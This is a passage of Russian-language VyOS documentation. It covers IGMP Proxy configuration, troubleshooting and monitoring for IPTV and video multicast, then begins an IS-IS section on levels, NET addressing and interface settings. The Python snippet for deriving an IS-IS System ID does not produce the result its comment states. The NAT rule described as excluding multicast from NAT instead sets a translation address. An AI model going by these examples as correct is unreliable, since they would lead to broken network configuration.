- IPTV multicast группы в диапазоне 239.0.0.0/8

**Топология**:
```
[IPTV Provider] --- eth0 (WAN) --- [VyOS] --- eth1 (LAN) --- [IPTV Clients]
  10.100.0.0/24               192.168.1.0/24
  239.0.1.10 (Channel 1)
  239.0.1.11 (Channel 2)
```

**VyOS конфигурация**:
```
# Интерфейсы
set interfaces ethernet eth0 address 10.100.0.10/24
set interfaces ethernet eth0 description 'WAN - IPTV Provider'

set interfaces ethernet eth1 address 192.168.1.1/24
set interfaces ethernet eth1 description 'LAN - IPTV Clients'

# IGMP Proxy
set protocols igmp-proxy interface eth0 role upstream
set protocols igmp-proxy interface eth0 alt-subnet 10.0.0.0/8

set protocols igmp-proxy interface eth1 role downstream

# Firewall для IGMP
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 description 'Allow IGMP'
set firewall ipv4 input filter rule 100 protocol igmp

# Firewall для multicast трафика
set firewall ipv4 input filter rule 110 action accept
set firewall ipv4 input filter rule 110 description 'Allow multicast from provider'
set firewall ipv4 input filter rule 110 source address 10.100.0.0/24
set firewall ipv4 input filter rule 110 destination address 224.0.0.0/4

# NAT (если требуется)
set nat source rule 100 outbound-interface name eth0
set nat source rule 100 source address 192.168.1.0/24
set nat source rule 100 translation address masquerade
# Исключаем multicast из NAT
set nat source rule 90 outbound-interface name eth0
set nat source rule 90 destination address 224.0.0.0/4
set nat source rule 90 translation address 10.100.0.10

# Static routes для multicast (если необходимо)
set protocols static route 239.0.0.0/8 interface eth0

commit
save
```

**Проверка**:
```
show protocols igmp-proxy
show igmp groups
show igmp interface eth1

# На клиенте
# Подписаться на канал: igmp join 239.0.1.10 eth1
# Проверить поток: tcpdump -i eth1 -n host 239.0.1.10
```

**Результат**:
- Клиенты в 192.168.1.0/24 могут подписываться на IPTV каналы
- Multicast трафик проходит через прокси
- Оптимизированная доставка (только активные подписки)

### Пример 2: Корпоративное видео вещание (VK Cloud)

**Сценарий**:
- VyOS в VK Cloud как multicast роутер
- Видео сервер в DMZ (eth0): 10.50.0.0/24
- Офис 1 (eth1): 192.168.10.0/24
- Офис 2 (eth2): 192.168.20.0/24
- Видео конференции в диапазоне 239.255.0.0/16

**Топология**:
```
[Video Server] --- eth0 (DMZ) --- [VyOS] --- eth1 (Office 1) --- [Users]
  10.50.0.10                             |
  239.255.1.100                          |
                                         --- eth2 (Office 2) --- [Users]
```

**VyOS конфигурация**:
```
# Интерфейсы
set interfaces ethernet eth0 address 10.50.0.1/24
set interfaces ethernet eth0 description 'DMZ - Video Servers'

set interfaces ethernet eth1 address 192.168.10.1/24
set interfaces ethernet eth1 description 'Office 1 - Users'

set interfaces ethernet eth2 address 192.168.20.1/24
set interfaces ethernet eth2 description 'Office 2 - Users'

# IGMP Proxy
set protocols igmp-proxy interface eth0 role upstream
set protocols igmp-proxy interface eth0 threshold 1

set protocols igmp-proxy interface eth1 role downstream
set protocols igmp-proxy interface eth1 threshold 1

set protocols igmp-proxy interface eth2 role downstream
set protocols igmp-proxy interface eth2 threshold 1

# Disable Quick Leave (множество клиентов)
set protocols igmp-proxy disable-quickleave

# Firewall для IGMP
set firewall ipv4 name LAN-TO-ROUTER rule 100 action accept
set firewall ipv4 name LAN-TO-ROUTER rule 100 description 'Allow IGMP from clients'
set firewall ipv4 name LAN-TO-ROUTER rule 100 protocol igmp

set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 description 'Allow IGMP'
set firewall ipv4 input filter rule 100 protocol igmp

# Firewall для multicast потоков
set firewall ipv4 name DMZ-TO-LAN rule 100 action accept
set firewall ipv4 name DMZ-TO-LAN rule 100 description 'Allow multicast video'
set firewall ipv4 name DMZ-TO-LAN rule 100 source address 10.50.0.0/24
set firewall ipv4 name DMZ-TO-LAN rule 100 destination address 239.255.0.0/16

# QoS для видео трафика (опционально)
set qos policy shaper VIDEO-SHAPER bandwidth 100mbit
set qos policy shaper VIDEO-SHAPER default bandwidth 50%
set qos policy shaper VIDEO-SHAPER default queue-type fair-queue

set qos policy shaper VIDEO-SHAPER class 10 bandwidth 30%
set qos policy shaper VIDEO-SHAPER class 10 description 'Multicast Video'
set qos policy shaper VIDEO-SHAPER class 10 match MULTICAST ip destination address 239.255.0.0/16
set qos policy shaper VIDEO-SHAPER class 10 priority 1

set qos interface eth1 egress VIDEO-SHAPER
set qos interface eth2 egress VIDEO-SHAPER

commit
save
```

**Проверка**:
```
show protocols igmp-proxy
show igmp groups
show igmp interface
show igmp statistics

# Статистика QoS
show qos interface eth1
show qos interface eth2
```

**Мониторинг multicast трафика**:
```
# На роутере
tcpdump -i eth0 -n host 239.255.1.100

# Статистика интерфейсов
show interfaces ethernet eth0
show interfaces ethernet eth1
show interfaces ethernet eth2
```

### Пример 3: IGMP через VPN туннель

**Сценарий**:
- Главный офис с multicast источником
- Удаленный офис через IPsec VPN
- IGMP через VTI интерфейс

**Топология**:
```
[Multicast Source] --- eth1 --- [HQ VyOS] --- vti0 (VPN) --- [Remote VyOS] --- eth1 --- [Clients]
  10.10.0.0/24                    172.16.0.1/30              172.16.0.2/30        192.168.100.0/24
```

**HQ Router**:
```
# VTI интерфейс для VPN
set interfaces vti vti0 address 172.16.0.1/30

# IGMP Proxy
set protocols igmp-proxy interface eth1 role upstream
set protocols igmp-proxy interface eth1 alt-subnet 10.10.0.0/24

set protocols igmp-proxy interface vti0 role downstream
set protocols igmp-proxy interface vti0 threshold 64

commit
save
```

**Remote Router**:
```
# VTI интерфейс для VPN
set interfaces vti vti0 address 172.16.0.2/30

# IGMP Proxy
set protocols igmp-proxy interface vti0 role upstream
set protocols igmp-proxy interface vti0 alt-subnet 10.10.0.0/24

set protocols igmp-proxy interface eth1 role downstream

commit
save
```

**IPsec конфигурация** (на обоих роутерах):
```
# Фаза 1 (IKE)
set vpn ipsec ike-group IKE-GROUP proposal 1 encryption aes256
set vpn ipsec ike-group IKE-GROUP proposal 1 hash sha256
set vpn ipsec ike-group IKE-GROUP lifetime 28800

# Фаза 2 (ESP)
set vpn ipsec esp-group ESP-GROUP proposal 1 encryption aes256
set vpn ipsec esp-group ESP-GROUP proposal 1 hash sha256
set vpn ipsec esp-group ESP-GROUP lifetime 3600

# Site-to-Site VPN с VTI
set vpn ipsec site-to-site peer 203.0.113.2 authentication mode pre-shared-secret
set vpn ipsec site-to-site peer 203.0.113.2 authentication pre-shared-secret 'SecureKey123!'
set vpn ipsec site-to-site peer 203.0.113.2 ike-group IKE-GROUP
set vpn ipsec site-to-site peer 203.0.113.2 vti bind vti0

commit
save
```

### Пример 4: IGMP с VLAN

**Сценарий**:
- Провайдер на VLAN 100
- Клиенты на VLAN 10, 20, 30

**VyOS конфигурация**:
```
# VLAN интерфейсы
set interfaces ethernet eth0 vif 100 address 10.100.0.10/24
set interfaces ethernet eth0 vif 100 description 'VLAN 100 - Provider'

set interfaces ethernet eth1 vif 10 address 192.168.10.1/24
set interfaces ethernet eth1 vif 10 description 'VLAN 10 - Office A'

set interfaces ethernet eth1 vif 20 address 192.168.20.1/24
set interfaces ethernet eth1 vif 20 description 'VLAN 20 - Office B'

set interfaces ethernet eth1 vif 30 address 192.168.30.1/24
set interfaces ethernet eth1 vif 30 description 'VLAN 30 - Office C'

# IGMP Proxy
set protocols igmp-proxy interface eth0.100 role upstream
set protocols igmp-proxy interface eth0.100 alt-subnet 10.0.0.0/8

set protocols igmp-proxy interface eth1.10 role downstream
set protocols igmp-proxy interface eth1.20 role downstream
set protocols igmp-proxy interface eth1.30 role downstream

commit
save
```

## Операционные команды

### Show Commands

**Конфигурация IGMP Proxy**:
```
show protocols igmp-proxy
```

Вывод:
```
interface eth0 {
    alt-subnet 10.0.0.0/23
    role upstream
    threshold 1
}
interface eth1 {
    role downstream
    threshold 1
}
```

**IGMP Groups**:
```
show igmp groups
```

Вывод:
```
Interface        Address         Group           Uptime    Expires
eth1             192.168.1.1     239.0.1.10      00:10:15  00:04:23
eth1             192.168.1.1     239.0.1.11      00:05:33  00:04:45
eth2             192.168.2.1     239.0.1.10      00:08:42  00:04:18
```

**IGMP Interface**:
```
show igmp interface
```

Вывод:
```
Interface  State  Address      V  Querier  Query Timer  Uptime
eth0       up     10.100.0.10  3  local    00:00:58     00:15:23
eth1       up     192.168.1.1  3  local    00:00:45     00:15:23
eth2       up     192.168.2.1  3  local    00:00:52     00:15:23
```

**Детали интерфейса**:
```
show igmp interface eth1
```

Вывод:
```
Interface eth1:
  State: up
  Address: 192.168.1.1
  Version: 3
  Querier: local
  Query Interval: 125s
  Query Timer: 00:00:58
  Other Querier Present Timer: 00:00:00
  Uptime: 00:15:23
  Multicast routing: enabled
```

**IGMP Statistics**:
```
show igmp statistics
```

Вывод:
```
Interface eth1:
  IGMP queries sent: 152
  IGMP queries received: 0
  IGMP reports sent: 45
  IGMP reports received: 287
  IGMP leaves sent: 12
  IGMP leaves received: 35
  IGMP v1 reports received: 0
  IGMP v2 reports received: 156
  IGMP v3 reports received: 131
```

### Management Commands

**Restart IGMP Proxy**:
```
restart igmp-proxy
```

**Clear IGMP groups** (reset подписок):
```
# Нет прямой команды в VyOS, используйте restart
restart igmp-proxy
```

## Troubleshooting

### Клиенты не получают multicast трафик

**Проблема**: Подписка на multicast группу не работает.

**Проверка**:

1. **IGMP Proxy работает**:
   ```
   show protocols igmp-proxy
   ```

2. **Интерфейсы правильно настроены**:
   ```
   show igmp interface
   ```

   Убедитесь что:
   - Upstream интерфейс только один
   - Downstream интерфейсы имеют правильный role
   - Multicast routing включен

3. **IGMP группы видны**:
   ```
   show igmp groups
   ```

   Должны быть активные подписки.

4. **Multicast трафик достигает upstream**:
   ```
   tcpdump -i eth0 -n host 239.0.1.10
   ```

5. **Firewall правила**:
   ```
   show firewall
   ```

   Проверьте что IGMP и multicast трафик разрешен:
   ```
   set firewall ipv4 input filter rule 100 action accept
   set firewall ipv4 input filter rule 100 protocol igmp

   set firewall ipv4 input filter rule 110 action accept
   set firewall ipv4 input filter rule 110 destination address 224.0.0.0/4

   commit
   ```

6. **Routing для multicast**:
   ```
   show ip route 239.0.1.10
   ```

   Может потребоваться static route:
   ```
   set protocols static route 239.0.0.0/8 interface eth0
   commit
   ```

### IGMP Join не проходит upstream

**Проблема**: IGMP прокси не отправляет Join на upstream интерфейс.

**Проверка**:

1. **Downstream получает Join от клиента**:
   ```
   tcpdump -i eth1 -n igmp
   ```

   Должны видеть IGMP Membership Report.

2. **Upstream отправляет Join**:
   ```
   tcpdump -i eth0 -n igmp
   ```

   Должен отправляться IGMP Join для группы.

3. **Alternate subnet настроен** (если источник в другой подсети):
   ```
   set protocols igmp-proxy interface eth0 alt-subnet 10.0.0.0/8
   commit
   ```

4. **Restart прокси**:
   ```
   restart igmp-proxy
   ```

5. **Логи системы**:
   ```
   show log | match igmp
   ```

### Multicast источник в другой подсети

**Проблема**: Multicast источник имеет IP не из directly connected сети upstream интерфейса.

**Решение**: Использовать `alt-subnet`.

**Пример**:
```
# Upstream интерфейс: 10.100.0.10/24
# Multicast источник: 172.16.50.100

set protocols igmp-proxy interface eth0 alt-subnet 172.16.0.0/16
commit
save
```

**Проверка**:
```
show protocols igmp-proxy interface eth0
```

### Задержка при Leave Group

**Проблема**: После Leave Group трафик продолжает идти несколько секунд.

**Причина**: Quick Leave отключен или несколько клиентов на интерфейсе.

**Решение 1** - Включить Quick Leave (только один клиент):
```
delete protocols igmp-proxy disable-quickleave
commit
```

**Решение 2** - Настроить IGMP Query Interval (уменьшить интервал):
```
# Это делается на upstream роутере провайдера
# На VyOS IGMP Proxy нет прямых настроек Query Interval
```

**Workaround** - Restart прокси после массовых изменений:
```
restart igmp-proxy
```

### Высокая нагрузка от multicast трафика

**Проблема**: Избыточный multicast трафик нагружает сеть.

**Решение**:

1. **Threshold для ограничения распространения**:
   ```
   set protocols igmp-proxy interface eth1 threshold 1
   commit
   ```

2. **QoS для приоритизации**:
   ```
   set qos policy shaper MULTICAST-LIMIT bandwidth 50mbit
   set qos policy shaper MULTICAST-LIMIT class 10 bandwidth 20mbit
   set qos policy shaper MULTICAST-LIMIT class 10 match VIDEO ip destination address 239.0.0.0/8

   set qos interface eth1 egress MULTICAST-LIMIT
   commit
   ```

3. **Firewall rate limiting**:
   ```
   set firewall ipv4 name LAN-LOCAL rule 100 action accept
   set firewall ipv4 name LAN-LOCAL rule 100 destination address 224.0.0.0/4
   set firewall ipv4 name LAN-LOCAL rule 100 limit rate 10/second

   set firewall ipv4 input filter rule 100 jump-target LAN-LOCAL
   commit
   ```

### IGMP версии не совпадают

**Проблема**: Клиенты используют IGMPv3, провайдер - IGMPv2.

**Решение**: VyOS IGMP Proxy поддерживает автоматическую конвертацию версий.

**Проверка версии**:
```
show igmp interface eth0
```

Вывод покажет:
```
Version: 2
```

или
```
Version: 3
```

**Совместимость**:
- IGMPv3 обратно совместима с IGMPv2
- IGMPv2 обратно совместима с IGMPv1
- Прокси автоматически адаптируется

### Multicast через NAT

**Проблема**: Multicast не работает через NAT.

**Решение**: Исключить multicast из NAT, использовать alt-subnet.

**Конфигурация**:
```
# Исключить multicast из NAT
set nat source rule 90 outbound-interface name eth0
set nat source rule 90 destination address 224.0.0.0/4
set nat source rule 90 translation address <router-wan-ip>

# Основное NAT правило
set nat source rule 100 outbound-interface name eth0
set nat source rule 100 source address 192.168.1.0/24
set nat source rule 100 translation address masquerade

# Alt-subnet для upstream
set protocols igmp-proxy interface eth0 alt-subnet 10.0.0.0/8

commit
save
```

## Мониторинг и логирование

### Continuous Monitoring

**Мониторинг IGMP групп**:
```
watch -n 5 'show igmp groups'
```

**Мониторинг multicast трафика**:
```
# Входящий на upstream
tcpdump -i eth0 -n multicast

# Исходящий на downstream
tcpdump -i eth1 -n multicast

# Конкретная группа
tcpdump -i eth1 -n host 239.0.1.10
```

**Bandwidth мониторинг**:
```
# Установить bmon
sudo apt update
sudo apt install bmon

# Запустить
bmon -p eth0,eth1

# Или использовать iftop
sudo iftop -i eth1 -f 'dst net 224.0.0.0/4'
```

### Логирование

**Системные логи**:
```
show log tail 100 | match igmp
```

**Syslog для IGMP**:
```
set system syslog global facility protocols level info
commit
```

**External syslog сервер**:
```
set system syslog host 192.168.1.100 facility protocols level info
set system syslog host 192.168.1.100 port 514
commit
```

**Просмотр логов**:
```
show log | match igmp
show log tail 50 | match "multicast|igmp"
```

## Лучшие практики

### Конфигурация

1. **Один upstream интерфейс**:
   - IGMP Proxy требует ровно один upstream
   - Для redundancy используйте VRRP + IGMP Proxy на обоих роутерах

2. **Alt-subnet для провайдеров**:
   - Всегда настраивайте alt-subnet если источник не в directly connected сети
   - Включайте широкие диапазоны (10.0.0.0/8)

3. **Threshold управление**:
   - Используйте threshold 1 для локальных сетей
   - Увеличивайте для WAN туннелей

4. **Quick Leave**:
   - Оставьте включенным для домашних сетей (один клиент)
   - Отключите для корпоративных сетей (множество клиентов)

5. **Firewall**:
   - Всегда разрешайте IGMP протокол
   - Разрешайте multicast адреса (224.0.0.0/4)
   - Используйте rate limiting для защиты

### Безопасность

1. **Firewall для IGMP**:
   ```
   set firewall ipv4 input filter rule 100 action accept
   set firewall ipv4 input filter rule 100 protocol igmp
   set firewall ipv4 input filter rule 100 source address 192.168.0.0/16
   ```

2. **Ограничение multicast групп**:
   ```
   set firewall ipv4 input filter rule 110 action accept
   set firewall ipv4 input filter rule 110 destination address 239.0.0.0/16
   set firewall ipv4 input filter rule 110 description 'Allow only company multicast'
   ```

3. **Rate limiting IGMP**:
   ```
   set firewall ipv4 input filter rule 100 limit rate 10/second
   ```

4. **Drop unknown multicast**:
   ```
   set firewall ipv4 input filter rule 999 action drop
   set firewall ipv4 input filter rule 999 destination address 224.0.0.0/4
   set firewall ipv4 input filter rule 999 description 'Drop unknown multicast'
   ```

### Производительность

1. **QoS для видео**:
   ```
   set qos policy shaper VIDEO bandwidth 100mbit
   set qos policy shaper VIDEO class 10 bandwidth 50%
   set qos policy shaper VIDEO class 10 match MULTICAST ip destination address 239.0.0.0/8
   set qos policy shaper VIDEO class 10 priority 1

   set qos interface eth1 egress VIDEO
   commit
   ```

2. **Мониторинг bandwidth**:
   - Регулярно проверяйте использование через `show interfaces`
   - Используйте external monitoring (Zabbix, Prometheus)

3. **Hardware acceleration**:
   - Используйте hardware offloading если доступно
   - Проверьте `ethtool -k eth0` для offload опций

### Масштабирование

1. **Количество групп**:
   - IGMP Proxy поддерживает сотни групп
   - Для тысяч групп - используйте PIM

2. **Количество downstream интерфейсов**:
   - Нет жесткого лимита
   - Ограничено производительностью роутера

3. **Bandwidth**:
   - Учитывайте что multicast умножается на количество downstream интерфейсов
   - 10 Mbps поток на 5 интерфейсов = 50 Mbps от роутера

## Интеграция с другими протоколами

### IGMP Proxy + OSPF

**Сценарий**: IGMP Proxy на edge роутере, OSPF для unicast маршрутизации.

```
# OSPF
set protocols ospf parameters router-id 10.0.0.1
set protocols ospf area 0 network 192.168.0.0/16

# IGMP Proxy
set protocols igmp-proxy interface eth0 role upstream
set protocols igmp-proxy interface eth1 role downstream

commit
```

**Важно**: IGMP Proxy работает независимо от OSPF.

### IGMP Proxy + BGP

**Сценарий**: BGP для Internet, IGMP для multicast от провайдера.

```
# BGP
set protocols bgp system-as 65001
set protocols bgp neighbor 203.0.113.1 remote-as 65000

# IGMP Proxy
set protocols igmp-proxy interface eth0 role upstream
set protocols igmp-proxy interface eth1 role downstream

commit
```

### IGMP Proxy + VPN (IPsec)

**Сценарий**: Multicast через VPN туннель.

См. Пример 3 выше - IGMP через VTI.

**Ключевые моменты**:
- Используйте VTI (не policy-based VPN)
- Настройте alt-subnet для удаленной сети
- Увеличьте threshold для VPN интерфейса

### IGMP Proxy + VRRP

**Сценарий**: Redundancy с VRRP, IGMP Proxy на обоих роутерах.

**Router 1**:
```
# VRRP
set high-availability vrrp group 1 interface eth0
set high-availability vrrp group 1 vrid 1
set high-availability vrrp group 1 virtual-address 192.168.1.254/24
set high-availability vrrp group 1 priority 200

# IGMP Proxy
set protocols igmp-proxy interface eth0 role upstream
set protocols igmp-proxy interface eth1 role downstream

commit
```

**Router 2**:
```
# VRRP
set high-availability vrrp group 1 interface eth0
set high-availability vrrp group 1 vrid 1
set high-availability vrrp group 1 virtual-address 192.168.1.254/24
set high-availability vrrp group 1 priority 100

# IGMP Proxy
set protocols igmp-proxy interface eth0 role upstream
set protocols igmp-proxy interface eth1 role downstream

commit
```

**Примечание**: Оба роутера запускают IGMP Proxy, но активен только master.

## Сравнение с PIM

### IGMP Proxy vs PIM-SM

| Характеристика | IGMP Proxy | PIM-SM |
|---------------|------------|---------|
| Сложность | Низкая | Высокая |
| Конфигурация | Минимальная | Обширная |
| Топология | Простая (дерево) | Любая (mesh) |
| Redundancy | Ограниченная | Полная |
| Масштабируемость | До сотен групп | Тысячи групп |
| RP (Rendezvous Point) | Не требуется | Требуется |
| Множество источников | Ограничено | Полная поддержка |
| CPU/Memory | Низкое | Среднее |
| Применение | Edge networks | Core networks |

### Когда использовать что

**IGMP Proxy**:
- Домашние/офисные сети
- IPTV от провайдера
- Простая топология (один источник)
- Ограниченные ресурсы

**PIM-SM**:
- Data center multicast
- Множество источников и получателей
- Redundancy критична
- Сложная топология

## Диагностика с клиентской стороны

### Linux клиент

**Подписка на группу**:
```bash
# Установка smcroute
sudo apt install smcroute

# Подписка
sudo smcroute -j eth0 239.0.1.10

# Просмотр подписок
ip maddr show dev eth0
```

**Прослушивание multicast**:
```bash
# С помощью socat
socat UDP4-RECV:5000,ip-add-membership=239.0.1.10:eth0 STDOUT

# С помощью VLC
vlc udp://@239.0.1.10:5000
```

**Отправка multicast** (тестирование):
```bash
# Отправка пакетов
echo "Test multicast" | socat - UDP4-DATAGRAM:239.0.1.10:5000,bind=:0
```

### Windows клиент

**Просмотр multicast групп**:
```cmd
netsh interface ipv4 show joins
```

**Тестирование с VLC**:
1. Открыть VLC Media Player
2. Media → Open Network Stream
3. Ввести: `udp://@239.0.1.10:5000`
4. Play

### Packet Capture

**tcpdump для IGMP**:
```bash
# Все IGMP сообщения
sudo tcpdump -i eth1 -vv igmp

# IGMP с деталями
sudo tcpdump -i eth1 -vv -n igmp

# Сохранить в файл
sudo tcpdump -i eth1 -w igmp-capture.pcap igmp
```

**tcpdump для multicast потока**:
```bash
# Конкретная группа
sudo tcpdump -i eth1 -n host 239.0.1.10

# Весь multicast
sudo tcpdump -i eth1 -n 'dst net 224.0.0.0/4'

# С подсчетом пакетов
sudo tcpdump -i eth1 -n host 239.0.1.10 -c 100
```

**Wireshark фильтры**:
```
igmp
ip.dst == 239.0.1.10
ip.dst >= 224.0.0.0 and ip.dst <= 239.255.255.255
```

## Автоматизация и скрипты

### Мониторинг скрипт

**Bash скрипт для проверки IGMP групп**:
```bash
#!/bin/bash

# igmp-monitor.sh
# Мониторинг IGMP групп

EXPECTED_GROUPS="239.0.1.10 239.0.1.11"
LOG_FILE="/var/log/igmp-monitor.log"

check_groups() {
    local missing=0

    for group in $EXPECTED_GROUPS; do
        if ! sudo vtysh -c "show igmp groups" | grep -q "$group"; then
            echo "$(date): WARNING - Group $group is missing" >> "$LOG_FILE"
            missing=1
        fi
    done

    if [ $missing -eq 0 ]; then
        echo "$(date): OK - All groups present" >> "$LOG_FILE"
    fi

    return $missing
}

# Запуск проверки
check_groups

# Вывод статистики
echo "Current IGMP groups:"
sudo vtysh -c "show igmp groups"
```

**Установка в cron**:
```bash
# Каждые 5 минут
*/5 * * * * /usr/local/bin/igmp-monitor.sh
```

### Auto-restart скрипт

**Скрипт для автоматического перезапуска**:
```bash
#!/bin/bash

# igmp-watchdog.sh
# Автоматический перезапуск IGMP Proxy

MAX_RETRY=3
RETRY_COUNT=0

check_igmp() {
    # Проверка что IGMP Proxy работает
    if pgrep -x "igmpproxy" > /dev/null; then
        return 0
    else
        return 1
    fi
}

while [ $RETRY_COUNT -lt $MAX_RETRY ]; do
    if check_igmp; then
        echo "$(date): IGMP Proxy is running"
        exit 0
    else
        echo "$(date): IGMP Proxy not running, restarting..."
        sudo /opt/vyatta/bin/vyatta-op-cmd-wrapper restart igmp-proxy
        RETRY_COUNT=$((RETRY_COUNT + 1))
        sleep 10
    fi
done

echo "$(date): ERROR - Failed to restart IGMP Proxy after $MAX_RETRY attempts"
exit 1
```

## Ссылки и ресурсы

### RFC Documents

- **RFC 1112** - Host Extensions for IP Multicasting (IGMPv1)
- **RFC 2236** - Internet Group Management Protocol, Version 2
- **RFC 3376** - Internet Group Management Protocol, Version 3
- **RFC 9776** - Internet Group Management Protocol, Version 3 (обновление 2025)
- **RFC 4605** - Internet Group Management Protocol (IGMP) / Multicast Listener Discovery (MLD)-Based Multicast Forwarding ("IGMP/MLD Proxying")

### VyOS Documentation

- [VyOS IGMP Proxy Documentation](https://docs.vyos.io/en/latest/configuration/protocols/igmp-proxy.html)
- [VyOS Multicast Routing](https://docs.vyos.io/en/latest/configuration/protocols/multicast.html)
- [VyOS PIM Configuration](https://docs.vyos.io/en/latest/configuration/protocols/pim.html)

### Полезные инструменты

- **igmpproxy** - IGMP Proxy daemon (используется VyOS)
- **smcroute** - Multicast routing tool
- **VLC** - Media player с multicast поддержкой
- **iperf** - Network performance testing (multicast режим)
- **tcpdump** - Packet capture
- **Wireshark** - Packet analyzer

### Community

- [VyOS Forum](https://forum.vyos.io/)
- [VyOS Phabricator](https://vyos.dev/)
- [GitHub VyOS](https://github.com/vyos)

## Следующие шаги

После настройки IGMP Proxy рекомендуется изучить:

- **[PIM (Protocol Independent Multicast)](/docs/vyos/routing/vyos-pim)** - для сложных multicast топологий
- **[QoS (Quality of Service)](/docs/vyos/qos/)** - для приоритизации multicast трафика
- **[Firewall](/docs/vyos/firewall/vyos-firewall/)** - для защиты multicast сетей
- **[VPN (IPsec/WireGuard)](/docs/vyos/vpn/)** - для multicast через туннели
- **[VRRP](/docs/vyos/ha/)** - для redundancy

## Заключение

IGMP Proxy - эффективное решение для распределения multicast трафика в простых топологиях. Правильная конфигурация upstream/downstream интерфейсов, использование alt-subnet и firewall правил обеспечивают стабильную работу IPTV и видео стриминга в сетях Yandex Cloud и VK Cloud.

**Ключевые моменты**:
- Один upstream, один или более downstream
- Alt-subnet для удаленных источников
- Firewall для IGMP и multicast
- QoS для приоритизации видео трафика
- Мониторинг групп и bandwidth


---

# IS-IS - Intermediate System to Intermediate System

Source: https://opennix.org/docs/vyos/routing/vyos-isis/


IS-IS - link-state протокол маршрутизации, работающий на Layer 2, широко используемый в datacenter и ISP сетях.

## Обзор

IS-IS (Intermediate System to Intermediate System, ISO 10589) - link-state протокол маршрутизации, изначально разработанный для OSI стека, адаптированный для IP.

**Характеристики**:
- Link-state протокол использующий алгоритм Dijkstra SPF
- Работает напрямую на Layer 2 (не использует IP транспорт)
- Двухуровневая иерархия (Level-1 и Level-2)
- Поддержка IPv4 и IPv6 в одном процессе
- Быстрая конвергенция
- Масштабируемость для больших сетей
- Используется в ISP и datacenter fabric

**Версии**:
- **IS-IS for IP** - поддержка IPv4 и IPv6
- **Integrated IS-IS** - одновременная маршрутизация OSI CLNP и IP

**Применение**:
- ISP backbone networks
- Data center leaf-spine fabric (особенно с CLOS топологией)
- Large enterprise campus
- Service provider MPLS core
- Carrier Ethernet networks

**Преимущества**:
- Работает на Layer 2 (не зависит от IP)
- IPv4 и IPv6 в одном процессе
- Нет необходимости в area 0 как в OSPF
- Более гибкая иерархия
- Меньше overhead на обновления
- Лучшая масштабируемость чем OSPF

**Недостатки**:
- Сложнее в понимании чем OSPF
- Меньшее распространение в enterprise
- Требует понимания OSI терминологии

## Архитектура IS-IS

### Уровни маршрутизации

IS-IS использует двухуровневую иерархию.

**Level-1 (L1)**:
- Маршрутизация внутри area (intra-area)
- L1 роутеры знают топологию только своей area
- Подобно OSPF internal routers
- Используют default route для inter-area трафика

**Level-2 (L2)**:
- Маршрутизация между areas (inter-area)
- L2 роутеры знают все L2 маршруты
- Подобно OSPF backbone (Area 0)
- Формируют backbone топологию

**Level-1-2 (L1/L2)**:
- Работают на обоих уровнях одновременно
- Граница между L1 и L2 domains
- Подобно OSPF ABR (Area Border Router)
- Анонсируют default route в L1 area

### Типы роутеров

**L1 Router**:
- Все интерфейсы в одной area
- Знает только L1 topology
- Использует nearest L1/L2 router как default gateway

**L2 Router**:
- Только inter-area маршрутизация
- Не участвует в L1 routing
- Формирует L2 backbone

**L1/L2 Router**:
- Участвует в L1 и L2 маршрутизации
- Связывает L1 area с L2 backbone
- Анонсирует L1 prefixes в L2
- Анонсирует default route в L1

### Network Entity Title (NET)

NET - адрес IS-IS роутера в формате OSI NSAP.

**Формат**:
```
Area-ID . System-ID . NSEL
```

**Структура**:
- **Area-ID** - идентификатор area (переменной длины, обычно 1-13 bytes)
- **System-ID** - уникальный ID роутера (фиксированная длина 6 bytes)
- **NSEL** - selector (всегда 00 для роутеров)

**Пример**:
```
49.0001.1921.6800.1001.00
```

Разбор:
- **49** - AFI (Authority and Format Identifier) для private addressing
- **0001** - Area ID
- **1921.6800.1001** - System ID (часто из IP: 192.168.0.1 → 1921.6800.1001)
- **00** - NSEL

**Длина**: Обычно 10, 13 или 20 bytes.

**AFI коды**:
- **39** - ISO DCC (Data Country Code)
- **45** - ISO ICD (International Code Designator)
- **47** - ISO 6523-ICD
- **49** - Private (наиболее распространенный)

## Базовая конфигурация

### Минимальная настройка

**Router 1**:
```
set interfaces loopback lo address 192.168.255.1/32

set protocols isis net 49.0001.1921.6825.5001.00

set protocols isis interface eth1
set protocols isis interface lo

commit
save
```

**Router 2**:
```
set interfaces loopback lo address 192.168.255.2/32

set protocols isis net 49.0001.1921.6825.5002.00

set protocols isis interface eth1
set protocols isis interface lo

commit
save
```

**Проверка**:
```
show isis neighbor
show isis database
show ip route isis
```

### NET Configuration

Настройка Network Entity Title:

```
set protocols isis net 49.0001.1921.6800.1001.00
commit
```

**Рекомендации**:
- Используйте AFI 49 для private сетей
- System ID формируйте из loopback IP
- Area ID должен совпадать у L1 neighbors
- Area ID может отличаться у L2 neighbors

**Генерация System ID из IP**:

IP: 192.168.0.1 → System ID: 1921.6800.1001

```python
# Пример конвертации
ip = "192.168.0.1"
octets = ip.split('.')
system_id = f"{int(octets[0]):02d}{int(octets[1]):02d}.{int(octets[2]):02d}{int(octets[3]):02d}.0001"
# Результат: 1921.6800.1001
```

Можно использовать любой уникальный 6-byte идентификатор:
```
49.0001.0000.0000.0001.00
49.0001.0000.0000.0002.00
```

### Hostname Mapping

Сопоставление System ID с hostname для удобства:

```
set protocols isis dynamic-hostname
commit
```

Роутеры будут анонсировать свои hostname в LSP (Link State PDU).

## Interface Configuration

### Включение IS-IS на интерфейсе

Активировать IS-IS:

```
set protocols isis interface eth1
commit
```

Для всех интерфейсов:
```
set protocols isis interface eth0
set protocols isis interface eth1
set protocols isis interface eth2
set protocols isis interface lo
commit
```

### Circuit Type

Тип IS-IS circuit (уровень маршрутизации):

```
set protocols isis interface eth1 circuit-type level-1
commit
```

Типы:
- **level-1** - только L1 adjacencies
- **level-1-2** - L1 и L2 adjacencies (по умолчанию)
- **level-2-only** - только L2 adjacencies

**Применение**:

L1 only для internal area роутеров:
```
set protocols isis interface eth1 circuit-type level-1
commit
```

L2 only для backbone роутеров:
```
set protocols isis interface eth1 circuit-type level-2-only
commit
```

L1-2 для border роутеров:
```
set protocols isis interface eth1 circuit-type level-1-2
commit
```

### Network Type

Тип сети IS-IS:

```
set protocols isis interface eth1 network point-to-point
commit
```

Типы:
- **broadcast** - Ethernet, множественный доступ (по умолчанию)
- **point-to-point** - serial links, VPN tunnels

**Point-to-point** рекомендуется для:
- Direct connections между роутерами
- VPN tunnels (VTI, GRE)
- Point-to-point Ethernet links
- Избегание DIS (Designated IS) выборов

### Passive Interface

